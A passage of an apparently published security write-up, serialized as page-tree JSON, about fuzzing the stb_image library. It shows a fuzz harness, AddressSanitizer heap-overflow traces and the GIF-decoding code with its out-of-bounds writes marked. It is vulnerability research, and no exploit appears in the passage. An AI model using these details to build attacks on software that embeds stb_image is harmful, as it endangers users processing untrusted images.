\"./stb/stb_image.h\"\n",{"type":23,"tag":75,"props":157785,"children":157786},{"class":77,"line":121},[157787],{"type":23,"tag":75,"props":157788,"children":157789},{"emptyLinePlaceholder":15},[157790],{"type":29,"value":276},{"type":23,"tag":75,"props":157792,"children":157793},{"class":77,"line":138},[157794,157798,157802,157806,157810,157815,157819,157824,157828,157833],{"type":23,"tag":75,"props":157795,"children":157796},{"style":82},[157797],{"type":29,"value":30270},{"type":23,"tag":75,"props":157799,"children":157800},{"style":88},[157801],{"type":29,"value":101115},{"type":23,"tag":75,"props":157803,"children":157804},{"style":94},[157805],{"type":29,"value":643},{"type":23,"tag":75,"props":157807,"children":157808},{"style":82},[157809],{"type":29,"value":30270},{"type":23,"tag":75,"props":157811,"children":157812},{"style":110},[157813],{"type":29,"value":157814}," argc",{"type":23,"tag":75,"props":157816,"children":157817},{"style":94},[157818],{"type":29,"value":611},{"type":23,"tag":75,"props":157820,"children":157821},{"style":82},[157822],{"type":29,"value":157823},"char",{"type":23,"tag":75,"props":157825,"children":157826},{"style":209},[157827],{"type":29,"value":100216},{"type":23,"tag":75,"props":157829,"children":157830},{"style":110},[157831],{"type":29,"value":157832},"argv",{"type":23,"tag":75,"props":157834,"children":157835},{"style":94},[157836],{"type":29,"value":193},{"type":23,"tag":75,"props":157838,"children":157839},{"class":77,"line":161},[157840,157844],{"type":23,"tag":75,"props":157841,"children":157842},{"style":82},[157843],{"type":29,"value":30300},{"type":23,"tag":75,"props":157845,"children":157846},{"style":94},[157847],{"type":29,"value":157848}," x, y, comp;\n",{"type":23,"tag":75,"props":157850,"children":157851},{"class":77,"line":196},[157852,157857,157861,157865],{"type":23,"tag":75,"props":157853,"children":157854},{"style":82},[157855],{"type":29,"value":157856},"    unsigned",{"type":23,"tag":75,"props":157858,"children":157859},{"style":82},[157860],{"type":29,"value":70230},{"type":23,"tag":75,"props":157862,"children":157863},{"style":209},[157864],{"type":29,"value":579},{"type":23,"tag":75,"props":157866,"children":157867},{"style":94},[157868],{"type":29,"value":157869},"ret;\n",{"type":23,"tag":75,"props":157871,"children":157872},{"class":77,"line":220},[157873],{"type":23,"tag":75,"props":157874,"children":157875},{"emptyLinePlaceholder":15},[157876],{"type":29,"value":276},{"type":23,"tag":75,"props":157878,"children":157879},{"class":77,"line":248},[157880,157884,157889,157893,157897],{"type":23,"tag":75,"props":157881,"children":157882},{"style":175},[157883],{"type":29,"value":1363},{"type":23,"tag":75,"props":157885,"children":157886},{"style":94},[157887],{"type":29,"value":157888}," (argc ",{"type":23,"tag":75,"props":157890,"children":157891},{"style":209},[157892],{"type":29,"value":26916},{"type":23,"tag":75,"props":157894,"children":157895},{"style":237},[157896],{"type":29,"value":19193},{"type":23,"tag":75,"props":157898,"children":157899},{"style":94},[157900],{"type":29,"value":193},{"type":23,"tag":75,"props":157902,"children":157903},{"class":77,"line":270},[157904,157908,157912],{"type":23,"tag":75,"props":157905,"children":157906},{"style":175},[157907],{"type":29,"value":1388},{"type":23,"tag":75,"props":157909,"children":157910},{"style":237},[157911],{"type":29,"value":15795},{"type":23,"tag":75,"props":157913,"children":157914},{"style":94},[157915],{"type":29,"value":245},{"type":23,"tag":75,"props":157917,"children":157918},{"class":77,"line":279},[157919],{"type":23,"tag":75,"props":157920,"children":157921},{"style":94},[157922],{"type":29,"value":346},{"type":23,"tag":75,"props":157924,"children":157925},{"class":77,"line":303},[157926],{"type":23,"tag":75,"props":157927,"children":157928},{"emptyLinePlaceholder":15},[157929],{"type":29,"value":276},{"type":23,"tag":75,"props":157931,"children":157932},{"class":77,"line":322},[157933,157938,157942,157947,157951,157955,157959,157963,157967,157971,157976,157980,157985,157989,157994,157998],{"type":23,"tag":75,"props":157934,"children":157935},{"style":94},[157936],{"type":29,"value":157937},"    ret ",{"type":23,"tag":75,"props":157939,"children":157940},{"style":209},[157941],{"type":29,"value":212},{"type":23,"tag":75,"props":157943,"children":157944},{"style":88},[157945],{"type":29,"value":157946}," stbi_load",{"type":23,"tag":75,"props":157948,"children":157949},{"style":94},[157950],{"type":29,"value":643},{"type":23,"tag":75,"props":157952,"children":157953},{"style":110},[157954],{"type":29,"value":157832},{"type":23,"tag":75,"props":157956,"children":157957},{"style":94},[157958],{"type":29,"value":814},{"type":23,"tag":75,"props":157960,"children":157961},{"style":237},[157962],{"type":29,"value":7867},{"type":23,"tag":75,"props":157964,"children":157965},{"style":94},[157966],{"type":29,"value":34275},{"type":23,"tag":75,"props":157968,"children":157969},{"style":209},[157970],{"type":29,"value":1277},{"type":23,"tag":75,"props":157972,"children":157973},{"style":94},[157974],{"type":29,"value":157975},"x, ",{"type":23,"tag":75,"props":157977,"children":157978},{"style":209},[157979],{"type":29,"value":1277},{"type":23,"tag":75,"props":157981,"children":157982},{"style":94},[157983],{"type":29,"value":157984},"y, ",{"type":23,"tag":75,"props":157986,"children":157987},{"style":209},[157988],{"type":29,"value":1277},{"type":23,"tag":75,"props":157990,"children":157991},{"style":94},[157992],{"type":29,"value":157993},"comp, ",{"type":23,"tag":75,"props":157995,"children":157996},{"style":237},[157997],{"type":29,"value":648},{"type":23,"tag":75,"props":157999,"children":158000},{"style":94},[158001],{"type":29,"value":15099},{"type":23,"tag":75,"props":158003,"children":158004},{"class":77,"line":340},[158005,158009,158014,158018,158022],{"type":23,"tag":75,"props":158006,"children":158007},{"style":175},[158008],{"type":29,"value":1363},{"type":23,"tag":75,"props":158010,"children":158011},{"style":94},[158012],{"type":29,"value":158013}," (ret ",{"type":23,"tag":75,"props":158015,"children":158016},{"style":209},[158017],{"type":29,"value":2469},{"type":23,"tag":75,"props":158019,"children":158020},{"style":82},[158021],{"type":29,"value":138105},{"type":23,"tag":75,"props":158023,"children":158024},{"style":94},[158025],{"type":29,"value":193},{"type":23,"tag":75,"props":158027,"children":158028},{"class":77,"line":349},[158029,158033,158037],{"type":23,"tag":75,"props":158030,"children":158031},{"style":175},[158032],{"type":29,"value":1388},{"type":23,"tag":75,"props":158034,"children":158035},{"style":237},[158036],{"type":29,"value":15795},{"type":23,"tag":75,"props":158038,"children":158039},{"style":94},[158040],{"type":29,"value":245},{"type":23,"tag":75,"props":158042,"children":158043},{"class":77,"line":363},[158044],{"type":23,"tag":75,"props":158045,"children":158046},{"style":94},[158047],{"type":29,"value":346},{"type":23,"tag":75,"props":158049,"children":158050},{"class":77,"line":656},[158051],{"type":23,"tag":75,"props":158052,"children":158053},{"style":94},[158054],{"type":29,"value":72965},{"type":23,"tag":75,"props":158056,"children":158057},{"class":77,"line":705},[158058,158063],{"type":23,"tag":75,"props":158059,"children":158060},{"style":88},[158061],{"type":29,"value":158062},"    stbi_image_free",{"type":23,"tag":75,"props":158064,"children":158065},{"style":94},[158066],{"type":29,"value":158067},"(ret);\n",{"type":23,"tag":75,"props":158069,"children":158070},{"class":77,"line":787},[158071],{"type":23,"tag":75,"props":158072,"children":158073},{"emptyLinePlaceholder":15},[158074],{"type":29,"value":276},{"type":23,"tag":75,"props":158076,"children":158077},{"class":77,"line":826},[158078,158082,158086],{"type":23,"tag":75,"props":158079,"children":158080},{"style":175},[158081],{"type":29,"value":355},{"type":23,"tag":75,"props":158083,"children":158084},{"style":237},[158085],{"type":29,"value":240},{"type":23,"tag":75,"props":158087,"children":158088},{"style":94},[158089],{"type":29,"value":245},{"type":23,"tag":75,"props":158091,"children":158092},{"class":77,"line":834},[158093],{"type":23,"tag":75,"props":158094,"children":158095},{"style":94},[158096],{"type":29,"value":369},{"type":23,"tag":32,"props":158098,"children":158099},{},[158100],{"type":29,"value":158101},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":64,"props":158103,"children":158105},{"code":158104},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[158106],{"type":23,"tag":71,"props":158107,"children":158108},{"__ignoreMap":7},[158109],{"type":29,"value":158104},{"type":23,"tag":30116,"props":158111,"children":158113},{"id":158112},"investigating-the-finding",[158114],{"type":29,"value":158115},"Investigating the Finding",{"type":23,"tag":32,"props":158117,"children":158118},{},[158119,158121,158127,158128,158133],{"type":29,"value":158120},"The ASAN output shows that at line ",{"type":23,"tag":71,"props":158122,"children":158124},{"className":158123},[],[158125],{"type":29,"value":158126},"6233",{"type":29,"value":153627},{"type":23,"tag":71,"props":158129,"children":158131},{"className":158130},[],[158132],{"type":29,"value":157660},{"type":29,"value":158134}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":64,"props":158136,"children":158138},{"code":158137,"language":14432,"meta":7,"className":27738,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[158139],{"type":23,"tag":71,"props":158140,"children":158141},{"__ignoreMap":7},[158142,158184,158191,158217,158230,158237,158245,158252,158306,158313,158359,158392],{"type":23,"tag":75,"props":158143,"children":158144},{"class":77,"line":78},[158145,158149,158153,158158,158163,158167,158171,158176,158180],{"type":23,"tag":75,"props":158146,"children":158147},{"style":82},[158148],{"type":29,"value":62229},{"type":23,"tag":75,"props":158150,"children":158151},{"style":82},[158152],{"type":29,"value":62234},{"type":23,"tag":75,"props":158154,"children":158155},{"style":88},[158156],{"type":29,"value":158157}," stbi__out_gif_code",{"type":23,"tag":75,"props":158159,"children":158160},{"style":94},[158161],{"type":29,"value":158162},"(stbi__gif ",{"type":23,"tag":75,"props":158164,"children":158165},{"style":209},[158166],{"type":29,"value":601},{"type":23,"tag":75,"props":158168,"children":158169},{"style":110},[158170],{"type":29,"value":119633},{"type":23,"tag":75,"props":158172,"children":158173},{"style":94},[158174],{"type":29,"value":158175},", stbi__uint16 ",{"type":23,"tag":75,"props":158177,"children":158178},{"style":110},[158179],{"type":29,"value":71},{"type":23,"tag":75,"props":158181,"children":158182},{"style":94},[158183],{"type":29,"value":653},{"type":23,"tag":75,"props":158185,"children":158186},{"class":77,"line":100},[158187],{"type":23,"tag":75,"props":158188,"children":158189},{"style":94},[158190],{"type":29,"value":2549},{"type":23,"tag":75,"props":158192,"children":158193},{"class":77,"line":121},[158194,158199,158203,158208,158212],{"type":23,"tag":75,"props":158195,"children":158196},{"style":94},[158197],{"type":29,"value":158198},"   stbi_uc ",{"type":23,"tag":75,"props":158200,"children":158201},{"style":209},[158202],{"type":29,"value":601},{"type":23,"tag":75,"props":158204,"children":158205},{"style":94},[158206],{"type":29,"value":158207},"p, ",{"type":23,"tag":75,"props":158209,"children":158210},{"style":209},[158211],{"type":29,"value":601},{"type":23,"tag":75,"props":158213,"children":158214},{"style":94},[158215],{"type":29,"value":158216},"c;\n",{"type":23,"tag":75,"props":158218,"children":158219},{"class":77,"line":138},[158220,158225],{"type":23,"tag":75,"props":158221,"children":158222},{"style":82},[158223],{"type":29,"value":158224},"   int",{"type":23,"tag":75,"props":158226,"children":158227},{"style":94},[158228],{"type":29,"value":158229}," idx; \n",{"type":23,"tag":75,"props":158231,"children":158232},{"class":77,"line":161},[158233],{"type":23,"tag":75,"props":158234,"children":158235},{"emptyLinePlaceholder":15},[158236],{"type":29,"value":276},{"type":23,"tag":75,"props":158238,"children":158239},{"class":77,"line":196},[158240],{"type":23,"tag":75,"props":158241,"children":158242},{"style":94},[158243],{"type":29,"value":158244},"   [...]\n",{"type":23,"tag":75,"props":158246,"children":158247},{"class":77,"line":220},[158248],{"type":23,"tag":75,"props":158249,"children":158250},{"emptyLinePlaceholder":15},[158251],{"type":29,"value":276},{"type":23,"tag":75,"props":158253,"children":158254},{"class":77,"line":248},[158255,158259,158263,158267,158271,158276,158280,158285,158289,158294,158298,158302],{"type":23,"tag":75,"props":158256,"children":158257},{"style":175},[158258],{"type":29,"value":63829},{"type":23,"tag":75,"props":158260,"children":158261},{"style":94},[158262],{"type":29,"value":183},{"type":23,"tag":75,"props":158264,"children":158265},{"style":110},[158266],{"type":29,"value":119633},{"type":23,"tag":75,"props":158268,"children":158269},{"style":94},[158270],{"type":29,"value":1156},{"type":23,"tag":75,"props":158272,"children":158273},{"style":110},[158274],{"type":29,"value":158275},"cur_y",{"type":23,"tag":75,"props":158277,"children":158278},{"style":209},[158279],{"type":29,"value":19561},{"type":23,"tag":75,"props":158281,"children":158282},{"style":110},[158283],{"type":29,"value":158284}," g",{"type":23,"tag":75,"props":158286,"children":158287},{"style":94},[158288],{"type":29,"value":1156},{"type":23,"tag":75,"props":158290,"children":158291},{"style":110},[158292],{"type":29,"value":158293},"max_y",{"type":23,"tag":75,"props":158295,"children":158296},{"style":94},[158297],{"type":29,"value":167},{"type":23,"tag":75,"props":158299,"children":158300},{"style":175},[158301],{"type":29,"value":59647},{"type":23,"tag":75,"props":158303,"children":158304},{"style":94},[158305],{"type":29,"value":245},{"type":23,"tag":75,"props":158307,"children":158308},{"class":77,"line":270},[158309],{"type":23,"tag":75,"props":158310,"children":158311},{"emptyLinePlaceholder":15},[158312],{"type":29,"value":276},{"type":23,"tag":75,"props":158314,"children":158315},{"class":77,"line":279},[158316,158321,158325,158329,158333,158338,158342,158346,158350,158354],{"type":23,"tag":75,"props":158317,"children":158318},{"style":94},[158319],{"type":29,"value":158320},"   idx ",{"type":23,"tag":75,"props":158322,"children":158323},{"style":209},[158324],{"type":29,"value":212},{"type":23,"tag":75,"props":158326,"children":158327},{"style":110},[158328],{"type":29,"value":158284},{"type":23,"tag":75,"props":158330,"children":158331},{"style":94},[158332],{"type":29,"value":1156},{"type":23,"tag":75,"props":158334,"children":158335},{"style":110},[158336],{"type":29,"value":158337},"cur_x",{"type":23,"tag":75,"props":158339,"children":158340},{"style":209},[158341],{"type":29,"value":20160},{"type":23,"tag":75,"props":158343,"children":158344},{"style":110},[158345],{"type":29,"value":158284},{"type":23,"tag":75,"props":158347,"children":158348},{"style":94},[158349],{"type":29,"value":1156},{"type":23,"tag":75,"props":158351,"children":158352},{"style":110},[158353],{"type":29,"value":158275},{"type":23,"tag":75,"props":158355,"children":158356},{"style":94},[158357],{"type":29,"value":158358},"; \n",{"type":23,"tag":75,"props":158360,"children":158361},{"class":77,"line":303},[158362,158367,158371,158375,158379,158383,158387],{"type":23,"tag":75,"props":158363,"children":158364},{"style":94},[158365],{"type":29,"value":158366},"   p ",{"type":23,"tag":75,"props":158368,"children":158369},{"style":209},[158370],{"type":29,"value":212},{"type":23,"tag":75,"props":158372,"children":158373},{"style":209},[158374],{"type":29,"value":844},{"type":23,"tag":75,"props":158376,"children":158377},{"style":110},[158378],{"type":29,"value":119633},{"type":23,"tag":75,"props":158380,"children":158381},{"style":94},[158382],{"type":29,"value":1156},{"type":23,"tag":75,"props":158384,"children":158385},{"style":110},[158386],{"type":29,"value":129056},{"type":23,"tag":75,"props":158388,"children":158389},{"style":94},[158390],{"type":29,"value":158391},"[idx];\n",{"type":23,"tag":75,"props":158393,"children":158394},{"class":77,"line":322},[158395,158400,158404,158409,158414,158418,158422,158426,158430,158434,158438],{"type":23,"tag":75,"props":158396,"children":158397},{"style":110},[158398],{"type":29,"value":158399},"   g",{"type":23,"tag":75,"props":158401,"children":158402},{"style":94},[158403],{"type":29,"value":1156},{"type":23,"tag":75,"props":158405,"children":158406},{"style":110},[158407],{"type":29,"value":158408},"history",{"type":23,"tag":75,"props":158410,"children":158411},{"style":94},[158412],{"type":29,"value":158413},"[idx ",{"type":23,"tag":75,"props":158415,"children":158416},{"style":209},[158417],{"type":29,"value":5647},{"type":23,"tag":75,"props":158419,"children":158420},{"style":237},[158421],{"type":29,"value":22992},{"type":23,"tag":75,"props":158423,"children":158424},{"style":94},[158425],{"type":29,"value":13463},{"type":23,"tag":75,"props":158427,"children":158428},{"style":209},[158429],{"type":29,"value":212},{"type":23,"tag":75,"props":158431,"children":158432},{"style":237},[158433],{"type":29,"value":15795},{"type":23,"tag":75,"props":158435,"children":158436},{"style":94},[158437],{"type":29,"value":60260},{"type":23,"tag":75,"props":158439,"children":158440},{"style":3621},[158441],{"type":29,"value":158442},"          // OOB write\n",{"type":23,"tag":32,"props":158444,"children":158445},{},[158446,158448,158453,158455,158461,158463,158469],{"type":29,"value":158447},"It’s reasonable to assume ",{"type":23,"tag":71,"props":158449,"children":158451},{"className":158450},[],[158452],{"type":29,"value":744},{"type":29,"value":158454}," is outside the bounds of ",{"type":23,"tag":71,"props":158456,"children":158458},{"className":158457},[],[158459],{"type":29,"value":158460},"g->history",{"type":29,"value":158462},", which leads to a one-byte OOB write (",{"type":23,"tag":71,"props":158464,"children":158466},{"className":158465},[],[158467],{"type":29,"value":158468},"g->history[idx / 4] = 1",{"type":29,"value":158470},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":32,"props":158472,"children":158473},{},[158474,158476,158481,158483,158489,158491,158496,158498,158504,158506,158512],{"type":29,"value":158475},"Because ",{"type":23,"tag":71,"props":158477,"children":158479},{"className":158478},[],[158480],{"type":29,"value":32},{"type":29,"value":158482}," is computed from ",{"type":23,"tag":71,"props":158484,"children":158486},{"className":158485},[],[158487],{"type":29,"value":158488},"g->out[idx]",{"type":29,"value":158490}," immediately before the violation, we considered whether ",{"type":23,"tag":71,"props":158492,"children":158494},{"className":158493},[],[158495],{"type":29,"value":744},{"type":29,"value":158497}," could also be OOB for ",{"type":23,"tag":71,"props":158499,"children":158501},{"className":158500},[],[158502],{"type":29,"value":158503},"g->out",{"type":29,"value":158505},". Note that computing the address ",{"type":23,"tag":71,"props":158507,"children":158509},{"className":158508},[],[158510],{"type":29,"value":158511},"&g->out[idx]",{"type":29,"value":158513}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":32,"props":158515,"children":158516},{},[158517,158519,158524],{"type":29,"value":158518},"If we comment out ",{"type":23,"tag":71,"props":158520,"children":158522},{"className":158521},[],[158523],{"type":29,"value":158468},{"type":29,"value":158525}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":64,"props":158527,"children":158529},{"code":158528},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[158530],{"type":23,"tag":71,"props":158531,"children":158532},{"__ignoreMap":7},[158533],{"type":29,"value":158528},{"type":23,"tag":32,"props":158535,"children":158536},{},[158537],{"type":29,"value":158538},"This corresponds to:",{"type":23,"tag":64,"props":158540,"children":158542},{"code":158541,"language":14432,"meta":7,"className":27738,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[158543],{"type":23,"tag":71,"props":158544,"children":158545},{"__ignoreMap":7},[158546,158585,158592,158599,158606,158649,158680,158724,158731,158799,158839,158884,158923,158962,159001],{"type":23,"tag":75,"props":158547,"children":158548},{"class":77,"line":78},[158549,158553,158557,158561,158565,158569,158573,158577,158581],{"type":23,"tag":75,"props":158550,"children":158551},{"style":82},[158552],{"type":29,"value":62229},{"type":23,"tag":75,"props":158554,"children":158555},{"style":82},[158556],{"type":29,"value":62234},{"type":23,"tag":75,"props":158558,"children":158559},{"style":88},[158560],{"type":29,"value":158157},{"type":23,"tag":75,"props":158562,"children":158563},{"style":94},[158564],{"type":29,"value":158162},{"type":23,"tag":75,"props":158566,"children":158567},{"style":209},[158568],{"type":29,"value":601},{"type":23,"tag":75,"props":158570,"children":158571},{"style":110},[158572],{"type":29,"value":119633},{"type":23,"tag":75,"props":158574,"children":158575},{"style":94},[158576],{"type":29,"value":158175},{"type":23,"tag":75,"props":158578,"children":158579},{"style":110},[158580],{"type":29,"value":71},{"type":23,"tag":75,"props":158582,"children":158583},{"style":94},[158584],{"type":29,"value":653},{"type":23,"tag":75,"props":158586,"children":158587},{"class":77,"line":100},[158588],{"type":23,"tag":75,"props":158589,"children":158590},{"style":94},[158591],{"type":29,"value":2549},{"type":23,"tag":75,"props":158593,"children":158594},{"class":77,"line":121},[158595],{"type":23,"tag":75,"props":158596,"children":158597},{"style":94},[158598],{"type":29,"value":158244},{"type":23,"tag":75,"props":158600,"children":158601},{"class":77,"line":138},[158602],{"type":23,"tag":75,"props":158603,"children":158604},{"emptyLinePlaceholder":15},[158605],{"type":29,"value":276},{"type":23,"tag":75,"props":158607,"children":158608},{"class":77,"line":161},[158609,158613,158617,158621,158625,158629,158633,158637,158641,158645],{"type":23,"tag":75,"props":158610,"children":158611},{"style":94},[158612],{"type":29,"value":158320},{"type":23,"tag":75,"props":158614,"children":158615},{"style":209},[158616],{"type":29,"value":212},{"type":23,"tag":75,"props":158618,"children":158619},{"style":110},[158620],{"type":29,"value":158284},{"type":23,"tag":75,"props":158622,"children":158623},{"style":94},[158624],{"type":29,"value":1156},{"type":23,"tag":75,"props":158626,"children":158627},{"style":110},[158628],{"type":29,"value":158337},{"type":23,"tag":75,"props":158630,"children":158631},{"style":209},[158632],{"type":29,"value":20160},{"type":23,"tag":75,"props":158634,"children":158635},{"style":110},[158636],{"type":29,"value":158284},{"type":23,"tag":75,"props":158638,"children":158639},{"style":94},[158640],{"type":29,"value":1156},{"type":23,"tag":75,"props":158642,"children":158643},{"style":110},[158644],{"type":29,"value":158275},{"type":23,"tag":75,"props":158646,"children":158647},{"style":94},[158648],{"type":29,"value":158358},{"type":23,"tag":75,"props":158650,"children":158651},{"class":77,"line":196},[158652,158656,158660,158664,158668,158672,158676],{"type":23,"tag":75,"props":158653,"children":158654},{"style":94},[158655],{"type":29,"value":158366},{"type":23,"tag":75,"props":158657,"children":158658},{"style":209},[158659],{"type":29,"value":212},{"type":23,"tag":75,"props":158661,"children":158662},{"style":209},[158663],{"type":29,"value":844},{"type":23,"tag":75,"props":158665,"children":158666},{"style":110},[158667],{"type":29,"value":119633},{"type":23,"tag":75,"props":158669,"children":158670},{"style":94},[158671],{"type":29,"value":1156},{"type":23,"tag":75,"props":158673,"children":158674},{"style":110},[158675],{"type":29,"value":129056},{"type":23,"tag":75,"props":158677,"children":158678},{"style":94},[158679],{"type":29,"value":158391},{"type":23,"tag":75,"props":158681,"children":158682},{"class":77,"line":220},[158683,158687,158691,158695,158699,158703,158707,158711,158715,158719],{"type":23,"tag":75,"props":158684,"children":158685},{"style":110},[158686],{"type":29,"value":158399},{"type":23,"tag":75,"props":158688,"children":158689},{"style":94},[158690],{"type":29,"value":1156},{"type":23,"tag":75,"props":158692,"children":158693},{"style":110},[158694],{"type":29,"value":158408},{"type":23,"tag":75,"props":158696,"children":158697},{"style":94},[158698],{"type":29,"value":158413},{"type":23,"tag":75,"props":158700,"children":158701},{"style":209},[158702],{"type":29,"value":5647},{"type":23,"tag":75,"props":158704,"children":158705},{"style":237},[158706],{"type":29,"value":22992},{"type":23,"tag":75,"props":158708,"children":158709},{"style":94},[158710],{"type":29,"value":13463},{"type":23,"tag":75,"props":158712,"children":158713},{"style":209},[158714],{"type":29,"value":212},{"type":23,"tag":75,"props":158716,"children":158717},{"style":237},[158718],{"type":29,"value":15795},{"type":23,"tag":75,"props":158720,"children":158721},{"style":94},[158722],{"type":29,"value":158723},";  \n",{"type":23,"tag":75,"props":158725,"children":158726},{"class":77,"line":248},[158727],{"type":23,"tag":75,"props":158728,"children":158729},{"emptyLinePlaceholder":15},[158730],{"type":29,"value":276},{"type":23,"tag":75,"props":158732,"children":158733},{"class":77,"line":270},[158734,158739,158743,158747,158751,158755,158760,158764,158768,158772,158777,158782,158787,158791,158795],{"type":23,"tag":75,"props":158735,"children":158736},{"style":94},[158737],{"type":29,"value":158738},"   c ",{"type":23,"tag":75,"props":158740,"children":158741},{"style":209},[158742],{"type":29,"value":212},{"type":23,"tag":75,"props":158744,"children":158745},{"style":209},[158746],{"type":29,"value":844},{"type":23,"tag":75,"props":158748,"children":158749},{"style":110},[158750],{"type":29,"value":119633},{"type":23,"tag":75,"props":158752,"children":158753},{"style":94},[158754],{"type":29,"value":1156},{"type":23,"tag":75,"props":158756,"children":158757},{"style":110},[158758],{"type":29,"value":158759},"color_table",{"type":23,"tag":75,"props":158761,"children":158762},{"style":94},[158763],{"type":29,"value":814},{"type":23,"tag":75,"props":158765,"children":158766},{"style":110},[158767],{"type":29,"value":119633},{"type":23,"tag":75,"props":158769,"children":158770},{"style":94},[158771],{"type":29,"value":1156},{"type":23,"tag":75,"props":158773,"children":158774},{"style":110},[158775],{"type":29,"value":158776},"codes",{"type":23,"tag":75,"props":158778,"children":158779},{"style":94},[158780],{"type":29,"value":158781},"[code].",{"type":23,"tag":75,"props":158783,"children":158784},{"style":110},[158785],{"type":29,"value":158786},"suffix",{"type":23,"tag":75,"props":158788,"children":158789},{"style":209},[158790],{"type":29,"value":579},{"type":23,"tag":75,"props":158792,"children":158793},{"style":237},[158794],{"type":29,"value":22992},{"type":23,"tag":75,"props":158796,"children":158797},{"style":94},[158798],{"type":29,"value":42769},{"type":23,"tag":75,"props":158800,"children":158801},{"class":77,"line":279},[158802,158806,158810,158814,158818,158822,158826,158830,158835],{"type":23,"tag":75,"props":158803,"children":158804},{"style":175},[158805],{"type":29,"value":63829},{"type":23,"tag":75,"props":158807,"children":158808},{"style":94},[158809],{"type":29,"value":183},{"type":23,"tag":75,"props":158811,"children":158812},{"style":110},[158813],{"type":29,"value":14432},{"type":23,"tag":75,"props":158815,"children":158816},{"style":94},[158817],{"type":29,"value":814},{"type":23,"tag":75,"props":158819,"children":158820},{"style":237},[158821],{"type":29,"value":28518},{"type":23,"tag":75,"props":158823,"children":158824},{"style":94},[158825],{"type":29,"value":13463},{"type":23,"tag":75,"props":158827,"children":158828},{"style":209},[158829],{"type":29,"value":4652},{"type":23,"tag":75,"props":158831,"children":158832},{"style":237},[158833],{"type":29,"value":158834}," 128",{"type":23,"tag":75,"props":158836,"children":158837},{"style":94},[158838],{"type":29,"value":193},{"type":23,"tag":75,"props":158840,"children":158841},{"class":77,"line":303},[158842,158847,158851,158855,158859,158863,158867,158871,158875,158879],{"type":23,"tag":75,"props":158843,"children":158844},{"style":110},[158845],{"type":29,"value":158846},"      p",{"type":23,"tag":75,"props":158848,"children":158849},{"style":94},[158850],{"type":29,"value":814},{"type":23,"tag":75,"props":158852,"children":158853},{"style":237},[158854],{"type":29,"value":648},{"type":23,"tag":75,"props":158856,"children":158857},{"style":94},[158858],{"type":29,"value":13463},{"type":23,"tag":75,"props":158860,"children":158861},{"style":209},[158862],{"type":29,"value":212},{"type":23,"tag":75,"props":158864,"children":158865},{"style":110},[158866],{"type":29,"value":48636},{"type":23,"tag":75,"props":158868,"children":158869},{"style":94},[158870],{"type":29,"value":814},{"type":23,"tag":75,"props":158872,"children":158873},{"style":237},[158874],{"type":29,"value":14409},{"type":23,"tag":75,"props":158876,"children":158877},{"style":94},[158878],{"type":29,"value":67095},{"type":23,"tag":75,"props":158880,"children":158881},{"style":3621},[158882],{"type":29,"value":158883},"        // OOB write\n",{"type":23,"tag":75,"props":158885,"children":158886},{"class":77,"line":322},[158887,158891,158895,158899,158903,158907,158911,158915,158919],{"type":23,"tag":75,"props":158888,"children":158889},{"style":110},[158890],{"type":29,"value":158846},{"type":23,"tag":75,"props":158892,"children":158893},{"style":94},[158894],{"type":29,"value":814},{"type":23,"tag":75,"props":158896,"children":158897},{"style":237},[158898],{"type":29,"value":7867},{"type":23,"tag":75,"props":158900,"children":158901},{"style":94},[158902],{"type":29,"value":13463},{"type":23,"tag":75,"props":158904,"children":158905},{"style":209},[158906],{"type":29,"value":212},{"type":23,"tag":75,"props":158908,"children":158909},{"style":110},[158910],{"type":29,"value":48636},{"type":23,"tag":75,"props":158912,"children":158913},{"style":94},[158914],{"type":29,"value":814},{"type":23,"tag":75,"props":158916,"children":158917},{"style":237},[158918],{"type":29,"value":7867},{"type":23,"tag":75,"props":158920,"children":158921},{"style":94},[158922],{"type":29,"value":42769},{"type":23,"tag":75,"props":158924,"children":158925},{"class":77,"line":340},[158926,158930,158934,158938,158942,158946,158950,158954,158958],{"type":23,"tag":75,"props":158927,"children":158928},{"style":110},[158929],{"type":29,"value":158846},{"type":23,"tag":75,"props":158931,"children":158932},{"style":94},[158933],{"type":29,"value":814},{"type":23,"tag":75,"props":158935,"children":158936},{"style":237},[158937],{"type":29,"value":14409},{"type":23,"tag":75,"props":158939,"children":158940},{"style":94},[158941],{"type":29,"value":13463},{"type":23,"tag":75,"props":158943,"children":158944},{"style":209},[158945],{"type":29,"value":212},{"type":23,"tag":75,"props":158947,"children":158948},{"style":110},[158949],{"type":29,"value":48636},{"type":23,"tag":75,"props":158951,"children":158952},{"style":94},[158953],{"t